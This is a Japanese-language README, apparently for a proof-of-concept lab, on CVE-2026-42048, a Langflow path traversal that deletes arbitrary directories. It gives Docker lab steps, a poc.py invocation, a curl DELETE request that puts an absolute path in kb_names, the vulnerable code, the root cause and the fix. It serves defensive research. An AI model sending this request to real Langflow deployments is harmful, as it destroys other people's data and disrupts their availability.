
Langflow 任意のディレクトリ削除
CVE-2026-42048 Langflow パストラバーサル / 任意ディレクトリ削除 PoC
https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
CVE-2026-42048 : Langflow 任意ディレクトリ削除の脆弱性
説明: Langflow 1.9.0 より前のバージョンにおけるパストラバーサルの脆弱性により、認証された攻撃者が、一括削除エンドポイント DELETE /api/v1/knowledge_bases を通じて、意図された Knowledge Base ストレージパス外のディレクトリを削除できる可能性があります。この問題は、ユーザー制御の kb_names 値が、適切な正規化および包含検証なしにファイルシステムパスの構築に使用されるために発生します。
悪用を成功させるには、次の条件が必要です。
1.9.0 より前)を実行している。DELETE /api/v1/knowledge_bases
PR:L)が必要であると説明されています。kb_names を制御できる。この脆弱性は、オペレーティングシステムのファイル権限をバイパスするものではありません。Langflow 自身のパス処理および削除ロジックを悪用します。
Docker を使用して脆弱な環境を構築し実行します。
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
curl http://127.0.0.1:9101/status
ラボは、使い捨てのターゲットディレクトリを次の場所に作成します。
/target/CVE-2026-42048
/status エンドポイントは、そのディレクトリがまだ存在するかどうかを報告します。
python3 poc.py
対話的な入力:
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
-H "Content-Type: application/json" \
-d '{"kb_names":["/target/CVE-2026-42048"]}'
curl http://127.0.0.1:9101/status
エクスプロイトが成功すると、target_exists が true から false に変わります。
脆弱なエンドポイント
DELETE /api/v1/knowledge_bases
この脆弱性は Langflow の Knowledge Bases 一括削除 API に存在します。影響を受けるハンドラは、kb_names パラメータを通じて Knowledge Base 名のリストを受け入れ、削除のために各値を使用してファイルシステムパスを構築します。
脆弱なバージョンでは、一括削除ロジックは、他の Knowledge Base エンドポイントで使用されるより安全なパス解決ヘルパーを使用せずに、手動でパスを構築します。脆弱なパターンの簡略化した表現は次のとおりです。
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username
for kb_name in request.kb_names:
kb_path = kb_user_path / kb_name
if not kb_path.exists() or not kb_path.is_dir():
continue
KBStorageHelper.delete_storage(kb_path, kb_name)
削除ヘルパーは最終的に、再帰的な削除ロジックでターゲットディレクトリを削除します。kb_name は攻撃者が制御するため、../ のようなパストラバーサルシーケンスは現在のユーザーの Knowledge Base ディレクトリを脱出する可能性があります。Python の pathlib では、右側に絶対パスが指定された場合、以前のパスコンポーネントを上書きすることもできます。
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048
その結果、細工された kb_names 値により、Langflow が意図された Knowledge Base ストレージルート外のディレクトリを削除する可能性があります(Langflow プロセスがそのディレクトリを削除する権限を持っている限り)。
これは CWE-22: 制限されたディレクトリへのパス名の不適切な制限 の問題です。
根本原因は、再帰的削除の前に行われるユーザー制御のパスコンポーネントの正規化と境界検証が不十分であることです。脆弱な一括削除エンドポイントは、最終パスが存在するかどうかをチェックしますが、解決されたパスが認証されたユーザーの Knowledge Base ディレクトリ内に残っていることを保証しません。
堅牢な修正には以下が必要です。
Path.resolve() で最終パスを正規化するLangflow はこの問題を 1.9.0 で修正しました。
任意のディレクトリ削除は、完全性と可用性に直接影響を与える可能性があります。デプロイメントの権限とファイルシステムのレイアウトによっては、攻撃者は次のことを行える可能性があります。
この問題は、悪意のあるコードの実行を必要としなくても有害です。アプリケーション権限による再帰的削除は、データと可用性を損なうのに十分です。
+-------------------------------------------+
| 認証されたユーザー |
+-------------------------------------------+
|
| DELETE /api/v1/knowledge_bases
| kb_names = ["/target/CVE-2026-42048"]
v
+-------------------------------------------+
| Langflow Knowledge Base API |
+-------------------------------------------+
|
| 安全でないパス構築
v
+-------------------------------------------+
| 意図されたKBユーザーディレクトリからの逸脱 |
+-------------------------------------------+
|
| 再帰的なディレクトリ削除
v
+-------------------------------------------+
| 任意のディレクトリ削除 |
+-------------------------------------------+
このラボは、ポート 9101 で小さなチャレンジプロキシを公開します。プロキシは、Langflow の完全な UI と直接のバックエンドポートを隠し、この演習に必要な最小限の脆弱な API パスのみを転送します。
ラボのターゲットディレクトリは次のとおりです。
/target/CVE-2026-42048
/status エンドポイントを使用して、ターゲットディレクトリが削除されたことを確認できます。
docker stop cve-2026-42048
このリポジトリは、Langflow インスタンスの不正な悪用を促進することを意図していません。このプロジェクトの目的は、セキュリティ研究者、防御者、開発者が脆弱性を理解し、管理された環境での露出を検証し、効果的な緩和策を適用するのを支援することです。
https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q